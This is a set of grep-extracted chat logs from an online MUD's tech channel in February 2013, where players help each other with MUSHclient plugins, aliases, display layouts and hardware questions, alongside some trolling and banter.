T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: i.e. if i improve case airflow will they spin less?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: well this tester won't tell me why my psu fan is broken or why I smell a foreboding smell
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: vorpes no to what
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: perhaps new psu is dead?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: new psu is powering my system!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it won't identify indescribable smells or broken fan
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so everything works and you just are wondering about the smell?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: yes
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ah well pour some water on it an comeback to me then :P
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: it seems less than before, so I'm not sure if it's just becasue this PSU is new and needs to be broken in or whatever
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: seems less what?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: steam is what i think killed my old psu
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: less electrical smelling
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: electromagnetic fields don't smell
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: dude, you know thinks that use a lot of voltage produce a smell
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: I've smelled it from laser printers, psus, etc.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: how are you on tech channel
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: just like everyone else :p typing tech before words :p
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well what you smell from laser printers is actually probably steam
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: really?  and where does this steam come from?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: laser burning toner
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyway if it is working and there is just a smell, i wouldn't worry about it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: quick survey.  would you pay a 25% premium for a rig that is totally silent?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: not me because it does not bother the deaf :p
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: meh i have a fiance so i never hear the computer
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: fiance is much more expensive than silent rig though
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: I'm thinking about starting a business building silent PCs won't i forugre out how to build silent pcs
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: good luck
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: advertise not having electron smell or noise
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: so, i play with the aardclient on multiple PCs with different aspect ratios... is there a way to store display layouts?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: even a pc with pure non moving parts will have noise im sure
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: I will also claim it keeps away bed bugs
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: so that all other settings are the exact same, but the display is unique to each computer
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: vanion ->  not the ones I will figure out how to make!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: IMO i would never mention bed bugs _EVER_
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: does that make sense?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no idea scars but if you figure it out let me know cause it drives me nuts
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: I keep AardMUSH cloud to access it.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: my time is too valuable for labor, so I'll just hire some mexicans to build them
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: i put mush on my google drive and run it from there, works out nicely
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Turie has just smacked Juictice into oblivion! RUN, before you're next!!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: and the troll has now gotten to the point of ridiculous
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: juictice, then for sure they'll be noisy :p
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: any idea, Bast?  i know you're a mush expert :D
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: no, I'm for real.  I live in NYC.  small apts, high rents, people i think will pay $$$ to buy a silent pc
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: i would!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: it can't be done easily, you would have to have different version of the savestate files and copy them over depending on where you are running it from
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: juictice, stfu for a moment would you, i've got a tech question i'm trying to get answered... tia
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: yeah, i was afraid of that, Bast.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no way to do percentage of screen relationship?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: scars, from skydrive, change the aspect ratio to 144hz then overclock mushclient GUI and proxy into the alternate machine
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: not in the way current plugins create miniwindows
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: any way to actually attach miniwindows to make them act as a single window for display purposes?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: not in any plugins that I know of
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: bummer, thanks :)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: you can carry on with your dribble juistice
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: try my soln
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: skydrive <> google drive, so i have no idea what you're talking about
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: it's the same if you overclock to 1920 x 1480
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: Scars: Skydrive is MS version of Google's Google Drive.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: gotcha, so his solution is not a solution, thanks for clearing that up for me, Turie :)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: Scars: It is cloud storage.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: yes, but it doesn't help with miniwindow layout
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: You could use Dropbox, Skydrive, Google Drive, or even Evernote.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: just replace skydrive with google drive and off you go
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Scars points excitedly at Bast!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: what he said
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: Just replace Juictice with Jackymoon and off he goes.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: what is a jackymoon
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Hanslanda Tech: has anyone ever experienced a lack of picture for a device connected via HDMI?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Turie Tech: Sounds like a bad tech issue.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Hanslanda Tech: said device is powering on and sound is being delivered, just no picture.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: yeah. on my laptop. but only if the ati graphics card is set in power saving mode
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Hanslanda Tech: this is in a TV/blueray/receiver setup, no computer involved other than that internal to the devices.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Thunderous Norton shrugs helplessly.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: are 10m doubles exactly 20 ticks?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: or is it an actual 10m now vs being controlled by ticks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Mendaloth Tech: Did that double end on a tick? Don't think it did.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}RedRain Tech: --> TICK <-- (Hp: 53%, Mn: 83%, Mv: 91%, Qt: 15)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}RedRain Tech: INFO: Bonus experience has now expired.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}RedRain Tech: yep
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tholgram Tech: hi all, anyone can tell me why my "no command echo" is "off" when i start the mushclient?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: there's a setting in input/commands "echo my input in:"    is it ticked ?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Cherylpantz Tech: I moved Mushclient to a new computer any the ascii map is missing. I tried to disable/reenable the plugin. Any ideas?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tholgram Tech: can't find that, what i do is, menu Display->No Command Echo (and i tick it) after restarting mush it gets unticked
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: in game/configure    input/commands    is where i'm talking about
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: the other is probably the telnet echo which gets reset after you type in your password
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you will probably have to remove and reinstall all of your plugins
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: cherylpantz: ^
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Cherylpantz thanks The Jerk Fiendish heartily.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: plugins are found based on file path. if you move to a new computer and put mushclient in a different location it won't be able to find anything
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tholgram Tech: thks norton, got it :)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Cherylpantz Tech: gotcha
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: tholgram: you're welcome.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sciophen Tech: Just read how to connect to mud
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sciophen Tech: with any linux termial
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sciophen Tech: Groovy :3
T3/r7/2013-02-26.txt.gz:{chan ch=tech}CeriQ Tech: telnet?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sciophen Tech: Yeah. It's being a bit weird an my android's emulator, though.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sciophen Tech: I still think it's pretty cool though
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: how to get mush to prompt me with that update msg again
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: My xrunto thinks kul tiras is in a place where it isn't, any idea how I can fix that?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Swalec Tech: what provides xrunto?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: the MUSH mapper I think
T3/r7/2013-02-26.txt.gz:{chan ch=tech}BobTheGreat Tech: runto kultiras, xset mark
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Swalec Tech: ah, I must have an old version!
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vakieh Tech: xrunto and xset, basically xeverything is SnD
T3/r7/2013-02-26.txt.gz:{chan ch=tech}BobTheGreat Tech: WinkleWinkle's mapper extender.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I don't understand, that room is xset now, but I'm still ending up in the middle of nowhere
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: my xrunto goes through the aard hotel though
T3/r7/2013-02-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Maybe your mapper portals/cexits are messed up?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Fluffhead Tech: probably trying to use a portal that you can't use
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Fluffhead Tech: or not, if amulet
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ophelion Tech: dont use it in noportal rooms
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I'm not getting any errors in the speedwalk, but I am using the elevator cexit in aardwolf hotel
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I think that must be doing it somehow
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: are the elevator exits in the hotel different than the normal exits?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Jhav Tech: No
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vable Tech: can someome help me i need help with the app Midpssh to play Aard on my blackberry
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Gnarcyon Tech: step 1) buy an android
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sneak Tech: not everyone likes an android device.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vable Tech: i have a blackberry
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: Step 2) Buy an iPhone
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: step 2) forget step 1 and get a computer
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Jhav Tech: Not everybody is as much of an Apple fanatic as you, Sneak. :)
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Sneak Tech: Indeed. But I see the merits of lesser brands.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vable Tech: im on computer now and i need it on my blackberry so i can play any where
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Jaenelle Tech: I guess everyone has different ideas of 'need' ;)
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I guess you called always use #substitue in your client and change north to "north-west".
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vakieh Tech: Once you fulfill a layer of pyramid of needs and wants, your definition of 'need' shifts a layer higher.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: mis
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: can we display group member's align on the group window in mush?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: doesent it do it automaticly?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: well the colour of the name is an indicator
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: but i was hoping for the exact number
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to remove the aardwolf wallpaper from mush?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ymerd Tech: delete the file
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: yes.l
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: i believe you can modify one of the files and remove the entry for it
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: can't remember which file tho. its ages since i did it
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: I don't see any image files in the mush dir...
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: in worlds/plugins/aard_layout.lua, there a line that reads          WindowDrawImage (bgoffscreen, "wolf_logo", 0, 0, 0, 0, miniwin.image_copy)
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: if you put --- in front of it, it comments it out
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: shouldnt it be only --
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: seems like if -- works, --- works, too
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: tech possibly... i might have been finger happy when i did it
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: its not neat to use --- when -- works just as well
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: i probably put --- in front of it to remind me that i'd made the comment
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: id prob add another comment to remind me :P
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: <!--   and then --> is what google tells me for comments in xml
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: you might need that extra "-" later on... say for lunch
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Thunderous Norton Tech: i tell ya what. i'll not bother helping people again if the solution i provide is just gonna be belittled for being slightly inaccurate.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: im sorry i just like neat code
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: one day you'll learn to accept something... "We value what works."  and you'll drop a lot of this perfectionistism
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: norton... i really appreciate your help, especiall on the spell alias yesterday.  I am completly and sincerely sorry for my flipiantcy
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: http://stackoverflow.com/questions/2757396/how-do-i-comment-out-a-block-of-tags-in-xml
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Heisenburger Tech: anyone know jquery here?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}CeriQ Tech: Yeah, what do you need?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Heisenburger Tech: I posted my question here: https://forum.jquery.com/topic/how-to-retrieve-dynamic-content-residing-on-another-page
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Heisenburger Tech: any ideas?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: mapper portal is it possible to set it to not use normal CP during gq?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: you could set up a correction to just walkto instead of goto in cases like that, right?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: Is this the only option?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: Appreciate though
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: there does not appear to be a built-in way to create a conditional use of a portal
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: so yeah, i think you'd have to throw together some trigger to reattempt the movement using goto
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: although, i wonder, maybe the trigger could be to delete the CP from your portal list, try the goto again, and you would just need to re-add the CP again
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mushambo Tech: Anyone know if it's possible to format a Chromebook to use as a regular laptop?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Tigernuts Tech: i wouldn't be surprised if they'd coded it up to prevent that
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ixle Tech: Yes, so long as you don't mind using ubuntu
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ixle Tech: google chrubuntu
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Tigernuts Tech: wot, no windows 8?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mushambo Tech: Bah! Hard to find a 11.6/12.1 inch screensize for that price!
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mushambo Tech: ahh okay :)thanks
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ixle Tech: Specifically the acer c7 chromebook is supposed to work well for it.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mushambo Tech: From what I read though, seems I'd be better off dropping an extra $100 or so for just a basic laptop
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Ixle Tech: Why's that?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Rufassilem Tech: How do i reset my plugins to fit back on my page?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Rufassilem Tech: Using aardcleint and one got out of the frame, I cant drag it back in.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Atoam Tech: That happened to me. Switching to a different client in a rage proved an effective solution.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Rufassilem Tech: I know there is a reset command. I just dont know what it is.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Atoam Tech: Woah, you're getting all technical on me.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Turie Tech: The fourth dimension is time?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Rusk Tech: whats a good .epub, .mobi reader?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Fluffhead Tech: I like my nook simple touch
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Fluffhead Tech: use calibre to convert files to .epub and manage them, and no problems
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Taokan Tech: my wife's on the phone right now replacing ours, screen just died
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Taokan Tech: had it since Christmas, like 2 months
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Taokan Tech: to be fair, I've got 3 kids, so entirely possible one's lying through their teeth about damaging it, but they swear they didn't break it :P
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Frostpaw Tech: I did -h and couldnt find an answer to the mush layout issue? no resettables? its off the screen :(
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Atoam Tech: The one Rufassilem asked? I answered it, just not helpfully.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Frostpaw Tech: yeah, i dont think that's an option for my other friend
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Scars Tech: try resetaard
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mokg Tech: for those that were looking to an SSD the other day. newegg is selling a 500 gig SSD for under 300 dollars
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Getsuko Tech: Nice!
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Getsuko Tech: which one?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mokg Tech: http://www.newegg.com/Product/Product.aspx?Item=N82E16820147190&Tpk=SAMSUNG%20840%20Series%20MZ-7TD500BW
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Noegel Tech: Ok, I'm only 24 years old, but my computer I built in 2005 had a 160gb hard drive that was about 300 dollars
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Noegel Tech: Crazy
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mokg Tech: promo code: EMCXVVP23. 280 dollars. only have until end of today
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Getsuko Tech: Thanks :).  I'm looking for a 250 tho -- doesn't seem like they have a good sale on those
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Getsuko Tech: But the Pro is great I hear!
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mokg Tech: promode code: EMCXVVP28. http://www.newegg.com/Product/Product.aspx?Item=N82E16820147189&Tpk=SAMSUNG%20840%20Series%20MZ-7TD250BW
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Mokg Tech: 160 dollars for 250 gigs
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that is a good price
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're a good price
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: only a half hour later
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: why thank you, nicest thing i have heard all day
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Tech: Remarto falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: now talk dirty to me
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Remarto Tech: boy fell in the mud :P
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: dude i am not a catholic priest
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: I seem to have lost my battle prompt... I look at p data, and there is one defined, but none is shown.  Is there a help file that will address this?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bprompt
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: yes... I have a bprompt defined
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bprompt
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: but whoes on second?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bprompt
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: abbot and costelo?  "who's on second"?  <sigh> no one gets my joke
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: I figured it out the second time you said it, and made the A&B reference as an oblique acknowlegement of my denseness of thought
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Doc Holliday Tech: has anyone had experience with A-BUS equipment?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that like DBUS equipment?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vonliege Tech: I always rode the short bus... I think it was a b-model
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Popa Tech: Jokes should be funny Vonliege.
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Doc Holliday Tech: it's for home audio over cat5 with ir blasting and such
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Tech: Vonliege sighs
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: blasting is such a violent word
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what about IR gently caressing?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: U R?
T3/r7/2013-02-26.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: baboon
T3/r7/2013-02-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: booban?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: anyone know if i can take my alias's from one account to another ?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: client ones yes, game ones no
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: if i just type like alias strike c ' ground strike' 
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: and i use mush client
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: which is that ??? 
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: game
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: ok ty
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can make a client one that does the same by typing #alias {strike} {c 'ground strike'}
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: use the astix ?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: yes
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's an octothorpe
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and yes
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (did it work out?)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: all my alias's were game.. but yes i made one
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Oshgosh Tech: if your talking to me :P
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: using the same method you can convert your game aliases to client ones. probably easier to only have one char though :)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: is there something i can use to take the mini map to a new window for zmud?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The River Styx Tech: You could use triggers and #CAPTURE
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Im pretty new with zmud so im not sure what #capture will do
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The River Styx Tech: the zmud help files are pretty extensive, I suggest studying up some.  You will want to use a combination of #C+ along with maptags to capture the output to the the new window and then gag it.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Ok thanks
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The River Styx Tech: its prolly not the easiest thing to start out with.  I suggest getting used to triggers and things of that nature first.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: oh the triggers and macros were easy to figure out. i just havent had a chance to use the rest of it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}The River Styx Tech: Alternativly, If you don't want to have to script yourself you can check out the Aard version of MUSH available on the website as it does a lot of the small stuff for you out of the box... And its free.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: ok thank you
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Leinei Tech: also check the mud command 'tags map on'.  It'll put tags before and after the map
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Leinei Tech: should help you capture it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: awsome. Thank you again
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Does Mush have a Macro function on it?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: yes
